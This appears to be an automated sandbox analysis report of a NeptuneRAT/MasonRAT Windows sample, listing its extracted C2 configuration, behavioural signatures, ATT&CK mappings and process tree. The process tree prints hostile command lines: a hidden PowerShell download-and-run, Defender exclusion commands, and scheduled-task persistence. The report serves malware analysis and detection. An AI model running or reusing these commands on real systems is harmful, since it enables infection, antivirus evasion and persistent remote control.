Analysis
- geolocation tags
- user interaction
yes - max time kernel
39s - max time network
48s - platform
windows10-2004_x64 - resource
win10v2004-20260513-it - resource tags
- submitted
05/08/2026, 01:09
Errors
General
- Target Bypassed.exe
- Size 1.9MB
- Sample260805-bh65navfra
- SHA256 c8446d701d99c5c75a98633f56c3dcce2f0a53c6ebfa542810674f539dc7e896
Malware Config
Extracted
-
neptunerat
-
82.22.62.124:443
-
filename
MasonUSB.exe
-
group
MasonGroup
-
key
eacBkjvaIIlrNRCZ
-
rat_name
MasonRAT
Signatures
- Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
- Detects NeptuneRAT stealer 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
- Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
- Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 5 IoCs
- Drops file in System32 directory 9 IoCs
- Drops file in Windows directory 5 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Modifies data under HKEY_USERS 64 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of SetWindowsHookEx 3 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
-
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Drops file in System32 directory
- Drops file in Windows directory
-
C:\Windows\System32\WUDFHost.exe"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-f25530c8-3a93-4bd2-8afc-b6950b2526e1 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-937cdf20-52c2-401d-8227-1dc1a252b8df -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-1a6ca62d-ef65-4ffa-b5b8-7d2c102d801a -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-26f91b0f-9287-4cd8-8afd-803dff061278 -LifetimeId:62ebfa84-8041-4a25-bd4d-068f729d5753 -DeviceGroupId:WudfDefaultDevicePool -HostArg:01⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
-
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵
-
-
C:\Windows\svhost.exeC:\Windows\svhost.exe2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\4ief0rgs.45v.exe"C:\Users\Admin\AppData\Local\Temp\4ief0rgs.45v.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr '-' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\svhost.exe"3⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /delete /f /tn "svhost"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpEA4B.tmp.bat""3⤵
- Executes a command shell one-liner
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\Bypassed.exe"C:\Users\Admin\AppData\Local\Temp\Bypassed.exe"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\13a5f736-72a1-4d22-b2f6-48e32be60daf.exe"C:\Users\Admin\AppData\Local\Temp\13a5f736-72a1-4d22-b2f6-48e32be60daf.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\svhost.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
- Modifies data under HKEY_USERS
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s camsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵
-
C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 4495437797ac8e798c66c846c48bca42 +viP0B19Ak2LmQJ8B3GqHA.0.1.0.0.01⤵
- Sets service image path in registry
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
-
C:\Windows\svhost.exeC:\Windows\svhost.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵
-
C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\svhost.exeC:\Users\Admin\AppData\Roaming\svhost.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\UsoClient.exeC:\Windows\system32\usoclient.exe1⤵
-
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
config.json
powershell.exe.log
svhost.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
13a5f736-72a1-4d22-b2f6-48e32be60daf.exe
4ief0rgs.45v.exe
__PSScriptPolicyTest_qhhnmbqt.jzy.ps1
TMP9110.tmp
sls.cab
Schedule Wake To Work
Schedule Wake To Work
Schedule Work
memory/336-95-0x000001F338BD0000-0x000001F338BFB000-memory.dmp
memory/336-96-0x00007FF95FC90000-0x00007FF95FCA0000-memory.dmp
memory/396-100-0x00007FF95FC90000-0x00007FF95FCA0000-memory.dmp
memory/396-99-0x000001CB0D2C0000-0x000001CB0D2EB000-memory.dmp
memory/548-70-0x0000000001050000-0x0000000001094000-memory.dmp
memory/548-371-0x000000001C450000-0x000000001C462000-memory.dmp
memory/548-71-0x000000001BEA0000-0x000000001BECC000-memory.dmp
memory/548-583-0x000000001BE40000-0x000000001BE4A000-memory.dmp
memory/620-84-0x00007FF95FC90000-0x00007FF95FCA0000-memory.dmp
memory/620-83-0x000002500D390000-0x000002500D3BB000-memory.dmp
memory/620-82-0x000002500D360000-0x000002500D385000-memory.dmp
memory/684-88-0x00007FF95FC90000-0x00007FF95FCA0000-memory.dmp
memory/684-87-0x000001B17DFD0000-0x000001B17DFFB000-memory.dmp
memory/884-103-0x00000275866A0000-0x00000275866CB000-memory.dmp
memory/884-104-0x00007FF95FC90000-0x00007FF95FCA0000-memory.dmp
memory/888-92-0x00007FF95FC90000-0x00007FF95FCA0000-memory.dmp
memory/888-91-0x000001EF5E310000-0x000001EF5E33B000-memory.dmp
memory/1056-107-0x0000021141960000-0x000002114198B000-memory.dmp
memory/1056-108-0x00007FF95FC90000-0x00007FF95FCA0000-memory.dmp
memory/1112-112-0x00007FF95FC90000-0x00007FF95FCA0000-memory.dmp
memory/1112-111-0x00000212FA0A0000-0x00000212FA0CB000-memory.dmp
memory/1136-116-0x00007FF95FC90000-0x00007FF95FCA0000-memory.dmp
memory/1136-115-0x0000012E2FEF0000-0x0000012E2FF1B000-memory.dmp
memory/1148-120-0x00007FF95FC90000-0x00007FF95FCA0000-memory.dmp
memory/1148-119-0x000001DC32FB0000-0x000001DC32FDB000-memory.dmp
memory/1228-123-0x000001C7187C0000-0x000001C7187EB000-memory.dmp
memory/1228-124-0x00007FF95FC90000-0x00007FF95FCA0000-memory.dmp
memory/1236-128-0x00007FF95FC90000-0x00007FF95FCA0000-memory.dmp
memory/1236-127-0x000002B883490000-0x000002B8834BB000-memory.dmp
memory/1244-132-0x00007FF95FC90000-0x00007FF95FCA0000-memory.dmp
memory/1244-131-0x000001B9973C0000-0x000001B9973EB000-memory.dmp
memory/1272-135-0x000001FF40980000-0x000001FF409AB000-memory.dmp
memory/1272-136-0x00007FF95FC90000-0x00007FF95FCA0000-memory.dmp
memory/1352-140-0x00007FF95FC90000-0x00007FF95FCA0000-memory.dmp
memory/1352-139-0x000001FB6E5D0000-0x000001FB6E5FB000-memory.dmp
memory/1424-144-0x00007FF95FC90000-0x00007FF95FCA0000-memory.dmp
memory/1424-143-0x000001F457E30000-0x000001F457E5B000-memory.dmp
memory/1452-195-0x000001C5DCE40000-0x000001C5DCE6B000-memory.dmp
memory/1452-196-0x00007FF95FC90000-0x00007FF95FCA0000-memory.dmp
memory/1496-147-0x00000161DC9B0000-0x00000161DC9DB000-memory.dmp
memory/1496-148-0x00007FF95FC90000-0x00007FF95FCA0000-memory.dmp
memory/1528-152-0x00007FF95FC90000-0x00007FF95FCA0000-memory.dmp
memory/1528-151-0x000001C8EFD60000-0x000001C8EFD8B000-memory.dmp
memory/1636-406-0x000001CB752B0000-0x000001CB752CE000-memory.dmp
memory/1636-405-0x000001CB75250000-0x000001CB75290000-memory.dmp
memory/1644-155-0x000002BE03760000-0x000002BE0378B000-memory.dmp
memory/1644-156-0x00007FF95FC90000-0x00007FF95FCA0000-memory.dmp
memory/1660-159-0x0000020535F40000-0x0000020535F6B000-memory.dmp
memory/1660-160-0x00007FF95FC90000-0x00007FF95FCA0000-memory.dmp
memory/1708-163-0x00000272006A0000-0x00000272006CB000-memory.dmp
memory/1708-164-0x00007FF95FC90000-0x00007FF95FCA0000-memory.dmp
memory/1720-80-0x00007FF99FC10000-0x00007FF99FE05000-memory.dmp
memory/1720-81-0x00007FF99F0B0000-0x00007FF99F16E000-memory.dmp
memory/1764-168-0x00007FF95FC90000-0x00007FF95FCA0000-memory.dmp
memory/1764-167-0x000001B1F5540000-0x000001B1F556B000-memory.dmp
memory/1828-171-0x000001D987290000-0x000001D9872BB000-memory.dmp
memory/1828-172-0x00007FF95FC90000-0x00007FF95FCA0000-memory.dmp
memory/1836-175-0x000001FFC4F60000-0x000001FFC4F8B000-memory.dmp
memory/1836-176-0x00007FF95FC90000-0x00007FF95FCA0000-memory.dmp
memory/1868-179-0x0000023EC41A0000-0x0000023EC41CB000-memory.dmp
memory/1868-180-0x00007FF95FC90000-0x00007FF95FCA0000-memory.dmp
memory/1884-183-0x0000024157040000-0x000002415706B000-memory.dmp
memory/1884-184-0x00007FF95FC90000-0x00007FF95FCA0000-memory.dmp
memory/1920-187-0x000002B4D24D0000-0x000002B4D24FB000-memory.dmp
memory/1920-188-0x00007FF95FC90000-0x00007FF95FCA0000-memory.dmp
memory/1996-191-0x00000000014D0000-0x00000000014FB000-memory.dmp
memory/1996-192-0x00007FF95FC90000-0x00007FF95FCA0000-memory.dmp
memory/2212-199-0x0000022F8BFA0000-0x0000022F8BFCB000-memory.dmp
memory/2212-200-0x00007FF95FC90000-0x00007FF95FCA0000-memory.dmp
memory/2292-203-0x000001CC81D60000-0x000001CC81D8B000-memory.dmp
memory/2416-441-0x0000000000A90000-0x0000000000B4E000-memory.dmp
memory/3040-66-0x000000001C020000-0x000000001C030000-memory.dmp
memory/3040-13-0x00000000007F0000-0x00000000008AE000-memory.dmp
memory/3040-14-0x000000001C340000-0x000000001C442000-memory.dmp
memory/4716-0-0x00000000006D0000-0x00000000008C4000-memory.dmp
memory/4868-38-0x0000027935B00000-0x0000027935B1A000-memory.dmp
memory/4868-37-0x0000027935390000-0x000002793539A000-memory.dmp
memory/4868-36-0x00000279353B0000-0x00000279353CC000-memory.dmp
memory/4868-35-0x0000027935840000-0x000002793588A000-memory.dmp
memory/4868-34-0x0000027935380000-0x000002793538A000-memory.dmp
memory/4868-39-0x00000279353A0000-0x00000279353A8000-memory.dmp
memory/4868-33-0x0000027935780000-0x0000027935835000-memory.dmp
memory/4868-32-0x0000027935360000-0x000002793537C000-memory.dmp
memory/4868-24-0x000002791C210000-0x000002791C220000-memory.dmp
memory/4868-15-0x00000279353F0000-0x0000027935472000-memory.dmp
memory/4868-16-0x000002791C250000-0x000002791C272000-memory.dmp
memory/4868-40-0x00000279353D0000-0x00000279353D6000-memory.dmp
memory/4868-41-0x00000279353E0000-0x00000279353EA000-memory.dmp